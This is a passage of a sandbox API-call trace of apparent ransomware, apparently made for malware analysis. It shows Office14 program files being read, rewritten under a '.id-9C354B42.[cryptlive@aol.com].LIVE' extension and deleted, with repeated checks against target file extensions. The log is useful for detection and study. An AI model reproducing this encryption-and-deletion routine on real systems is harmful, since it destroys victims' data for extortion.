office\\office14\\borders\\msart8.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0151.615] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.615] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0151.615] GetLastError () returned 0x0 [0151.615] ReadFile (in: hFile=0x1fc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xbfca, lpOverlapped=0x0) returned 1 [0151.647] WriteFile (in: hFile=0x3b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xbfd0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xbfd0, lpOverlapped=0x0) returned 1 [0151.649] ReadFile (in: hFile=0x1fc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.649] WriteFile (in: hFile=0x3b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0151.649] SetEndOfFile (hFile=0x3b4) returned 1 [0151.649] CloseHandle (hObject=0x3b4) returned 1 [0151.649] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.649] SetEndOfFile (hFile=0x1fc) returned 1 [0151.652] CloseHandle (hObject=0x1fc) returned 1 [0151.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr")) returned 1 [0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0151.653] lstrlenW (lpString=".doc") returned 4 [0151.653] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.653] lstrlenW (lpString=".docx") returned 5 [0151.653] lstrcmpiW (lpString1=".docx", lpString2="8.BDR") returned -1 [0151.653] lstrlenW (lpString=".pdf") returned 4 [0151.653] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.653] lstrlenW (lpString=".xls") returned 4 [0151.653] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.653] lstrlenW (lpString=".xlsx") returned 5 [0151.653] lstrcmpiW (lpString1=".xlsx", lpString2="8.BDR") returned -1 [0151.653] lstrlenW (lpString=".ppt") returned 4 [0151.653] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0151.653] lstrlenW (lpString=".zip") returned 4 [0151.653] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.653] lstrlenW (lpString=".rar") returned 4 [0151.653] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.653] lstrlenW (lpString=".bz2") returned 4 [0151.653] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.653] lstrlenW (lpString=".7z") returned 3 [0151.653] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0151.654] lstrlenW (lpString=".dbf") returned 4 [0151.654] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0151.654] lstrlenW (lpString=".1cd") returned 4 [0151.654] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0151.654] lstrlenW (lpString=".jpg") returned 4 [0151.654] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0151.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0151.654] lstrlenW (lpString=".doc") returned 4 [0151.654] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.654] lstrlenW (lpString=".docx") returned 5 [0151.654] lstrcmpiW (lpString1=".docx", lpString2="8.BDR") returned -1 [0151.654] lstrlenW (lpString=".pdf") returned 4 [0151.654] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.654] lstrlenW (lpString=".xls") returned 4 [0151.654] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.654] lstrlenW (lpString=".xlsx") returned 5 [0151.654] lstrcmpiW (lpString1=".xlsx", lpString2="8.BDR") returned -1 [0151.654] lstrlenW (lpString=".ppt") returned 4 [0151.654] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0151.654] lstrlenW (lpString=".zip") returned 4 [0151.654] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.654] lstrlenW (lpString=".rar") returned 4 [0151.654] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.654] lstrlenW (lpString=".bz2") returned 4 [0151.654] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.654] lstrlenW (lpString=".7z") returned 3 [0151.654] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0151.654] lstrlenW (lpString=".dbf") returned 4 [0151.654] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0151.655] lstrlenW (lpString=".1cd") returned 4 [0151.655] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0151.655] lstrlenW (lpString=".jpg") returned 4 [0151.655] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.655] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0151.655] lstrlenW (lpString="MSART9.BDR") returned 10 [0151.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.686] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=50838) returned 1 [0151.686] CloseHandle (hObject=0x3a0) returned 1 [0151.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr")) returned 0x20 [0151.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.687] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.687] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0151.689] GetLastError () returned 0x0 [0151.689] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xc696, lpOverlapped=0x0) returned 1 [0151.736] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xc6a0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xc6a0, lpOverlapped=0x0) returned 1 [0151.742] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.743] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0151.743] SetEndOfFile (hFile=0x1dc) returned 1 [0151.743] CloseHandle (hObject=0x1dc) returned 1 [0151.743] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.743] SetEndOfFile (hFile=0x3a0) returned 1 [0151.747] CloseHandle (hObject=0x3a0) returned 1 [0151.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr")) returned 1 [0151.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0151.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0151.749] lstrlenW (lpString=".doc") returned 4 [0151.749] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.749] lstrlenW (lpString=".docx") returned 5 [0151.749] lstrcmpiW (lpString1=".docx", lpString2="9.BDR") returned -1 [0151.749] lstrlenW (lpString=".pdf") returned 4 [0151.749] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.749] lstrlenW (lpString=".xls") returned 4 [0151.749] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.749] lstrlenW (lpString=".xlsx") returned 5 [0151.749] lstrcmpiW (lpString1=".xlsx", lpString2="9.BDR") returned -1 [0151.749] lstrlenW (lpString=".ppt") returned 4 [0151.749] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0151.749] lstrlenW (lpString=".zip") returned 4 [0151.749] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.749] lstrlenW (lpString=".rar") returned 4 [0151.750] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.750] lstrlenW (lpString=".bz2") returned 4 [0151.750] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.750] lstrlenW (lpString=".7z") returned 3 [0151.750] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0151.750] lstrlenW (lpString=".dbf") returned 4 [0151.750] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0151.750] lstrlenW (lpString=".1cd") returned 4 [0151.750] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0151.750] lstrlenW (lpString=".jpg") returned 4 [0151.750] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0151.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0151.750] lstrlenW (lpString=".doc") returned 4 [0151.750] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.750] lstrlenW (lpString=".docx") returned 5 [0151.750] lstrcmpiW (lpString1=".docx", lpString2="9.BDR") returned -1 [0151.750] lstrlenW (lpString=".pdf") returned 4 [0151.750] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.750] lstrlenW (lpString=".xls") returned 4 [0151.750] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.750] lstrlenW (lpString=".xlsx") returned 5 [0151.750] lstrcmpiW (lpString1=".xlsx", lpString2="9.BDR") returned -1 [0151.751] lstrlenW (lpString=".ppt") returned 4 [0151.751] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0151.751] lstrlenW (lpString=".zip") returned 4 [0151.751] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.751] lstrlenW (lpString=".rar") returned 4 [0151.751] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.751] lstrlenW (lpString=".bz2") returned 4 [0151.751] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.751] lstrlenW (lpString=".7z") returned 3 [0151.751] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0151.751] lstrlenW (lpString=".dbf") returned 4 [0151.751] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0151.751] lstrlenW (lpString=".1cd") returned 4 [0151.751] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0151.751] lstrlenW (lpString=".jpg") returned 4 [0151.751] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.751] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0151.752] lstrlenW (lpString="BRTVIEW.DLL") returned 11 [0151.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.753] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=186776) returned 1 [0151.753] CloseHandle (hObject=0x3a0) returned 1 [0151.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll")) returned 0x20 [0151.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0151.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0151.754] lstrlenW (lpString=".doc") returned 4 [0151.754] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.754] lstrlenW (lpString=".docx") returned 5 [0151.754] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0151.754] lstrlenW (lpString=".pdf") returned 4 [0151.754] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.754] lstrlenW (lpString=".xls") returned 4 [0151.754] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.754] lstrlenW (lpString=".xlsx") returned 5 [0151.754] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0151.754] lstrlenW (lpString=".ppt") returned 4 [0151.754] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0151.754] lstrlenW (lpString=".zip") returned 4 [0151.754] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.754] lstrlenW (lpString=".rar") returned 4 [0151.754] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.754] lstrlenW (lpString=".bz2") returned 4 [0151.754] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.754] lstrlenW (lpString=".7z") returned 3 [0151.754] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0151.754] lstrlenW (lpString=".dbf") returned 4 [0151.754] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0151.754] lstrlenW (lpString=".1cd") returned 4 [0151.755] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0151.755] lstrlenW (lpString=".jpg") returned 4 [0151.755] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0151.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0151.755] lstrlenW (lpString=".doc") returned 4 [0151.755] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.755] lstrlenW (lpString=".docx") returned 5 [0151.755] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0151.755] lstrlenW (lpString=".pdf") returned 4 [0151.755] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.755] lstrlenW (lpString=".xls") returned 4 [0151.755] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.755] lstrlenW (lpString=".xlsx") returned 5 [0151.755] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0151.755] lstrlenW (lpString=".ppt") returned 4 [0151.755] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0151.755] lstrlenW (lpString=".zip") returned 4 [0151.755] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.755] lstrlenW (lpString=".rar") returned 4 [0151.755] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.755] lstrlenW (lpString=".bz2") returned 4 [0151.755] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.755] lstrlenW (lpString=".7z") returned 3 [0151.756] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0151.756] lstrlenW (lpString=".dbf") returned 4 [0151.756] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0151.756] lstrlenW (lpString=".1cd") returned 4 [0151.756] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0151.756] lstrlenW (lpString=".jpg") returned 4 [0151.756] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.756] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0151.756] lstrlenW (lpString="BSTORM.DLL") returned 10 [0151.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0151.782] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=947072) returned 1 [0151.782] CloseHandle (hObject=0x1fc) returned 1 [0151.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll")) returned 0x20 [0151.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0151.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0151.782] lstrlenW (lpString=".doc") returned 4 [0151.782] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.783] lstrlenW (lpString=".docx") returned 5 [0151.783] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0151.783] lstrlenW (lpString=".pdf") returned 4 [0151.783] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.783] lstrlenW (lpString=".xls") returned 4 [0151.783] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.783] lstrlenW (lpString=".xlsx") returned 5 [0151.783] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0151.783] lstrlenW (lpString=".ppt") returned 4 [0151.783] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0151.783] lstrlenW (lpString=".zip") returned 4 [0151.783] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.783] lstrlenW (lpString=".rar") returned 4 [0151.783] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.783] lstrlenW (lpString=".bz2") returned 4 [0151.783] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.783] lstrlenW (lpString=".7z") returned 3 [0151.783] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0151.783] lstrlenW (lpString=".dbf") returned 4 [0151.783] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0151.783] lstrlenW (lpString=".1cd") returned 4 [0151.783] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0151.783] lstrlenW (lpString=".jpg") returned 4 [0151.784] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0151.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0151.784] lstrlenW (lpString=".doc") returned 4 [0151.784] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.784] lstrlenW (lpString=".docx") returned 5 [0151.784] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0151.784] lstrlenW (lpString=".pdf") returned 4 [0151.784] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.784] lstrlenW (lpString=".xls") returned 4 [0151.784] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.784] lstrlenW (lpString=".xlsx") returned 5 [0151.784] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0151.784] lstrlenW (lpString=".ppt") returned 4 [0151.784] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0151.784] lstrlenW (lpString=".zip") returned 4 [0151.784] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.784] lstrlenW (lpString=".rar") returned 4 [0151.784] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.784] lstrlenW (lpString=".bz2") returned 4 [0151.784] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.784] lstrlenW (lpString=".7z") returned 3 [0151.784] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0151.784] lstrlenW (lpString=".dbf") returned 4 [0151.784] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 